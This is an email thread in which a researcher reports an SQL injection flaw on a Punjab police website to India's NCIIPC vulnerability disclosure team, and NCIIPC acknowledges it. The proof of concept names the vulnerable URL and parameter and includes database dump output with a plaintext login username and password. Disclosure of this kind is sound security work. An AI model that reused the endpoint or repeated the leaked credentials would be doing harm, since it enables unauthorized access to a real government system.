



rajdeep basu <rjdpbsu@gmail.com>

VULNERABILITY FOUND ON MOGA POLICE(PUNJAB)

2 messages

rajdeep basu <rjdpbsu@gmail.com>
To: rvd@nciipc.gov.in

3 August 2020 at 10:08

target : http://punjabpolicemoga.gov.in/mart_det.php?id=2
vulnerability type : SQL injection attack

vulnerability description : SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution

severity level : critical

poc : please check the attachment

2 attachments

```
[10:02:46] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[10:02:46] [INFO] fetching database names
[10:02:46] [INFO] resumed: 'information_schema'
[10:02:46] [INFO] resumed: 'bqdkpjb_moga'
available databases (2):
[*] bqdkpjb_moga
[*] information_schema
```

20200803_100739.jpg
75K

```
[10:06:29] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12
[10:06:29] [INFO] fetching tables for database: 'bqdkpjb_moga'
[10:06:29] [INFO] fetching columns for table 'login_master'
in database 'bqdkpjb_moga'
[10:06:29] [INFO] resumed: 'id','bigint(20)'
[10:06:29] [INFO] resumed: 'user_name','varchar(255)'
[10:06:29] [INFO] resumed: 'pass','varchar(255)'
[10:06:29] [INFO] fetching entries for table 'login_master'
in database 'bqdkpjb_moga'
Database: bqdkpjb_moga
Table: login_master
[1 entry]
+-----+-----+-----+
| id | pass | user_name |
+-----+-----+-----+
| 1 | Saanjh1473 | ritesh |
+-----+-----+-----+
```

20200803_100803.jpg
148K

NCIIPC RVD <rvdp@nciipc.gov.in>
To: rjdpbsu@gmail.com

6 August 2020 at 11:28

Dear Researcher,

1. We acknowledge the vulnerability on SQL Injection reported by you.
2. We are in the process of closure of this issue. You may like to recheck this issue in some time and revert to us if there are any further discoveries on vulnerabilities.
3. Usually it takes approximately three weeks to have an issue closed.

Thank You
Team RVD, NCIIPC

From: rjdpbsu@gmail.com
To: "NCIIPC RVD" <rvdp@nciipc.gov.in>
Sent: Monday, August 3, 2020 10:08:32 AM
Subject: VULNERABILITY FOUND ON MOGA POLICE(PUNJAB)

[Quoted text hidden]